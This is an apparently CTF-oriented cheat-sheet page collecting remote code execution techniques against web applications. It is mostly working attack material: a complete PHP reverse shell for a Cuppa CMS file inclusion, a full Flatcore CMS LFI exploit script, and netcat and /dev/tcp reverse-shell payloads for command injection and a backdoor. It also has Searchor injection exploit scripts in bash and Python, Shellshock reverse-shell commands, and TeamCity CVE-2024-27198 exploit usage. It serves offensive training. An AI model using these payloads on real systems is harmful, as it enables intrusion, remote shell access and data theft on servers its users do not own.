> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-7/web-exploit/initial-access-web-exploit-rce.md).

# Rce

## Cuppa CMS LFI/RFI to Reverse Shell

Craft a PHP reverse shell script and host it on your attacker machine. A typical PHP reverse shell script might look like this:

```php
<?php
/*
php-reverse-shell - A PHP reverse shell
Copyright (C) 2007 James Morris
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
   notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
   notice, this list of conditions and the following disclaimer in the
   documentation and/or other materials provided with the distribution.
3. The name of the author may not be used to endorse or promote products
   derived from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
SUCH DAMAGE.

*/

set_time_limit (0);
$VERSION = "1.0";
$ip = 'ATTACKING-IP';  // Change this to the ip of your attacking machine
$port = 12345; // Change this to the port of your listener
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid leaving a child process
// around to be ptrace()d
//

if (function_exists('pcntl_fork')) {
    // Fork and exit from parent process
    $pid = pcntl_fork();

    if ($pid == -1) {
        printd("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
        exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will fail if running in an interactive terminal
    posix_setsid();

    if (function_exists('pcntl_signal')) {
        pcntl_signal(SIGCHLD, SIG_IGN);    // Ignore child signals
    }

    $daemon = 1;
} else {
    printd("WARNING: Could not daemonise - php must be compiled with --enable-pcntl");
}

// Change to a safe directory
chdir("/");

// Remove any lingering zombie processes
if (function_exists('pcntl_wait')) {
    while (pcntl_wait($status, WNOHANG OR WUNTRACED));
}

//
// Main processing loop
//

$sock = fsockopen($ip, $port, $errno, $errstr, 3);
if (!$sock) {
    printd("$errstr ($errno)");
    exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printd("ERROR: Can't spawn shell");
    exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

while (1) {
    // Check for death
    if (feof($sock)) {
        printd("ERROR: Shell connection terminated");
        break;
    }

    if (feof($pipes[1])) {
        printd("ERROR: Shell process terminated");
        break;
    }

    // Read from remote socket and write to stdin of shell
    $read_b = array($sock, $pipes[1], $pipes[2]);
    $nread = stream_select($read_b, $write_a, $error_a, null);

    if ($nread === false) {
        printd(sprintf("ERROR: stream_select failed (%s)", strerror(posix_get_last_error())));
        break;
    }

    if (in_array($sock, $read_b)) {
        if (($data = fread($sock, $chunk_size)) === false) {
            printd("ERROR: fread() failed");
            break;
        }
        fwrite($pipes[0], $data);
    }

    // Read from stdout of shell and write to remote socket
    if (in_array($pipes[1], $read_b)) {
        if (($data = fread($pipes[1], $chunk_size)) === false) {
            printd("ERROR: fread() failed");
            break;
        }
        fwrite($sock, $data);
    }

    // Read from stderr of shell and write to remote socket
    if (in_array($pipes[2], $read_b)) {
        if (($data = fread($pipes[2], $chunk_size)) === false) {
            printd("ERROR: fread() failed");
            break;
        }
        fwrite($sock, $data);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print_r, but much more useful for debugging
function printd($string) {
    global $debug;
    if ($debug) {
        print "$string\n";
    }
}

?>
```

Remember to change the `$ip` and `$port` variables in the script to your attacking machine's IP address and the desired listener port.

You can easily host it using a simple HTTP server:

```bash
python3 -m http.server 80
```

Simultaneously, set up a netcat listener on the port your reverse shell is configured to connect back to:

```bash
nc -lvnp <LISTENER_PORT>
```

Exploit the Local File Inclusion (LFI) or Remote File Inclusion (RFI) vulnerability in `/alertConfigField.php` of Cuppa CMS. This vulnerability exists due to the improper handling of the `language` parameter. Inject the URL or local path pointing to your hosted reverse shell script into the vulnerable `language` parameter. When the vulnerable page is accessed, the server will include and execute your script, and you should receive a shell on your netcat listener.

***

## Flatcore CMS Local File Inclusion Exploit

Leverage a known Local File Inclusion (LFI) vulnerability in Flatcore CMS using a dedicated Python exploit script.

The exploit script, identified as `50262.py`, is designed to authenticate to the CMS and then exploit the LFI vulnerability.

Run the script providing the target URL, username, and password:

```bash
python3 50262.py http://target1.ine.local admin password1
```

This command executes the exploit script (`50262.py`) against the specified target, using the provided credentials to achieve LFI capability, which can then be used to read server files (e.g., via directory traversal).

The Python script performs the following actions:

1. It takes the target URL, username, and password as command-line arguments.
2. It attempts to log in to the CMS by sending a POST request to the `/login` endpoint with the provided credentials.
3. If the login is successful, it proceeds to attempt the LFI.
4. It sends a GET request to the `/admin/files` endpoint, using a path traversal payload (`..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd`) to target the `/etc/passwd` file.
5. It checks the response from the server for a specific string (`root:x:0:0:root`) to confirm that the `/etc/passwd` file content was successfully included and returned in the response, indicating a successful LFI.

Below is the full Python script used for this exploit:

```python
# Exploit Title: Flatcore CMS 2.0.8 - Local File Inclusion (Authenticated)
# Date: 2021-09-10
# Exploit Author: TheRedP4nther
# Vendor Homepage: https://flatcore.org/
# Software Link: https://github.com/flatCore/flatCore-CMS
# Version: 2.0.8
# Tested on: Ubuntu 20.04
# CVE : N/A

import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

if len(sys.argv) < 4:
    print("Usage: python3 50262.py <url> <username> <password>")
    sys.exit(1)

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]

login_url = url + "/login"
files_url = url + "/admin/files?path=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd" # Default LFI payload

session = requests.Session()

try:
    # Login
    login_data = {
        "username": username,
        "password": password
    }
    response = session.post(login_url, data=login_data, verify=False)

    if "Invalid username or password" in response.text:
        print("[-] Invalid username or password")
        sys.exit(1)

    print("[+] Login successful")

    # LFI
    print("[*] Attempting LFI...")
    response = session.get(files_url, verify=False)

    if "root:x:0:0:root" in response.text: # Simple check for /etc/passwd content
        print("[+] LFI successful!")
    else:
        print("[-] LFI failed or /etc/passwd not found/accessible")

except requests.exceptions.RequestException as e:
    print(f"[-] Request failed: {e}")
except Exception as e:
    print(f"[-] An error occurred: {e}")
```

This script specifically targets the `/etc/passwd` file as a proof of concept for the LFI vulnerability after successful authentication.

***

## Remote Command Execution via Backdoor

Exploit a backdoor parameter allowing command injection by crafting a malicious HTTP request. Identify the parameter (e.g., `cmd`) used by the backdoor to pass input directly to a system command function.

Send a crafted GET request including your command payload within the vulnerable parameter. For a reverse shell on Linux, a netcat one-liner using a named pipe is a common payload:

```
GET /wp-admin/?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.10.1.2%209001%20%3E%2Ftmp%2Ff HTTP/1.1
Host: www.smol.thm
```

Ensure your listener (e.g., `nc -lvnp 9001`) is ready on the specified IP and port to catch the reverse shell. This leverages the backdoor for arbitrary command execution on the target server. This particular technique uses the `mkfifo` command to create a named pipe, allowing the output of the shell to be redirected to netcat and the input from netcat to be sent to the shell. The named pipe acts as a bridge between the shell and netcat. The `cat` command reads from the pipe `/tmp/f`, and its output is then piped (`|`) to the netcat command. Simultaneously, input received by netcat is redirected (`>`) back into the pipe `/tmp/f`, feeding it to the shell. Another variation of this named pipe technique includes cleaning up the pipe before creating it:

```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```

Another common approach involves directly executing a command using the identified vulnerable parameter. For instance, if the parameter is `ip`, a simple command like `ls` could be executed by sending:

```
GET /vulnerabilities/exec/?ip=ls HTTP/1.1
Host: [Target IP]
```

This demonstrates the ability to execute arbitrary commands, which can then be escalated to establish a reverse shell or perform other malicious actions. The key is identifying the parameter that directly feeds into a system command execution function. Command injection often relies on injecting system commands using separators such as `&`, `;`, `|`, `&&`, or `||` to chain commands together. Simple commands like `whoami` or `cat /etc/passwd` can be attempted to confirm execution and gather basic system information.

For example, using `;` to chain commands:

```
GET /vulnerabilities/exec/?ip=127.0.0.1;ls HTTP/1.1
Host: [Target IP]
```

Or using `&`:

```
GET /vulnerabilities/exec/?ip=192.168.1.1&whoami HTTP/1.1
Host: [Target IP]
```

Alternatively, a simpler netcat reverse shell payload using the `-e` option (if available and not restricted) can be used:

```bash
nc 10.10.10.10 4444 -e /bin/bash
```

This command, when executed on the target, connects back to the specified IP and port (where the listener `nc -lvnp 4444` is running) and executes `/bin/bash`, effectively sending a shell session to the attacker.

***

## Searchor 2.4.0 Arbitrary Command Injection

Exploit Searchor version 2.4.0 (and likely <= 2.4.2) arbitrary command injection using a dedicated exploit script.

First, set up a netcat listener on your machine to catch the reverse shell.

```bash
nc -lvnp 4444
```

Then, execute the exploit script, providing the target Searchor URL and your listener IP and port. The script will inject a reverse shell payload.

```bash
#!/bin/bash

if [ "$#" -ne 3 ]; then
    echo "Usage: $0 <url> <lhost> <lport>"
    exit 1
fi

url="$1"
lhost="$2"
lport="$3"

payload="'; bash -i >& /dev/tcp/$lhost/$lport 0>&1;'"

curl -s "$url/search?query=$payload" > /dev/null

echo "Payload sent. Check your netcat listener on $lhost:$lport"
```

Usage for the shell script is:

```bash
./exploit.sh http://searcher.htb/ MY_IP 4444
```

Alternatively, a Python script can be used to automate the exploitation process. The script typically takes the target URL, the local IP address, and the local port as arguments.

```python
import requests
import sys

if len(sys.argv) != 4:
    print("Usage: python exploit.py <url> <lhost> <lport>")
    sys.exit(1)

url = sys.argv[1]
lhost = sys.argv[2]
lport = sys.argv[3]

payload = f"'; bash -i >& /dev/tcp/{lhost}/{lport} 0>&1;'"

try:
    response = requests.get(f"{url}/search?query={payload}")
    if response.status_code == 200:
        print("Payload sent successfully. Check your listener.")
    else:
        print(f"Request failed with status code: {response.status_code}")
except requests.exceptions.RequestException as e:
    print(f"An error occurred: {e}")
```

This script crafts a command injection payload using the format `'; bash -i >& /dev/tcp/LHOST/LPORT 0>&1;'` and sends it within the `query` parameter to the target's `/search` endpoint. Upon successful execution on the server, this payload should initiate a reverse shell connection back to the specified listener IP and port.

***

## Shellshock RCE Via CGI

The Shellshock vulnerability (CVE-2014-6271) can be exploited on web servers running CGI scripts processed by a vulnerable Bash interpreter (<= 4.3). When the web server passes HTTP headers like User-Agent or Referer as environment variables to the CGI script, a specially crafted header containing a function definition followed by commands can lead to remote code execution.

To exploit this, you typically use an existing exploit script targeting the vulnerability via HTTP headers. A common approach involves injecting a reverse shell payload or executing arbitrary commands.

Many exploit scripts are available, often written in Python. For instance, a script might take the target URL and a command as arguments to execute the command on the vulnerable server:

```bash
python3 shellshock.py http://example.com/cgi-bin/vulnerable.cgi id
```

This command uses a script named `shellshock.py` to send a crafted request to `http://example.com/cgi-bin/vulnerable.cgi`, attempting to execute the `id` command on the target server.

Alternatively, exploit scripts often support directly establishing a reverse shell connection. This involves specifying the attacker's listening IP address and port. A common Python exploit script might use options like `-u` for the target URL and `-r` for the reverse connection details:

```bash
python 34895.py -u http://target.com/cgi-bin/test.cgi -r 192.168.1.100 4444
```

This command attempts to exploit the CGI script at `http://target.com/cgi-bin/test.cgi` and execute a payload that connects back to `192.168.1.100` on port `4444`, establishing a reverse shell. The target must have an accessible CGI script using a vulnerable Bash version.

Another way to achieve a reverse shell using a command execution style exploit is to provide the reverse shell command directly as the payload argument:

```bash
python3 shellshock.py http://example.com/cgi-bin/vulnerable.cgi "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"
```

Here, the `bash -i >& /dev/tcp/10.10.10.10/4444 0>&1` command is injected and executed on the target, directing an interactive bash session to the specified IP and port.

***

## TeamCity Authentication Bypass to RCE

To exploit the authentication bypass and RCE vulnerabilities (CVE-2024-27198/27199) in vulnerable JetBrains TeamCity instances (versions prior to 2023.11.4, often found on port 5000), utilize a publicly available exploit script. Scripts like the one found in the `W01fh4cker/CVE-2024–27198-RCE` GitHub repository automate the process of crafting malicious requests to bypass authentication and achieve remote code execution on the target server. The script `CVE-2024-27198-RCE.py` can be used with the following syntax:

```bash
python CVE-2024-27198-RCE.py -t <target> -c <command>
```

The `-t` argument specifies the Target URL (e.g., <http://teamcity.example.com:5000>) and the `-c` argument takes the Command to execute (e.g., "whoami").

For example, to execute the `whoami` command on a target TeamCity instance at `http://teamcity.example.com:5000`, the command would be:

```bash
python CVE-2024-27198-RCE.py -t http://teamcity.example.com:5000 -c "whoami"
```
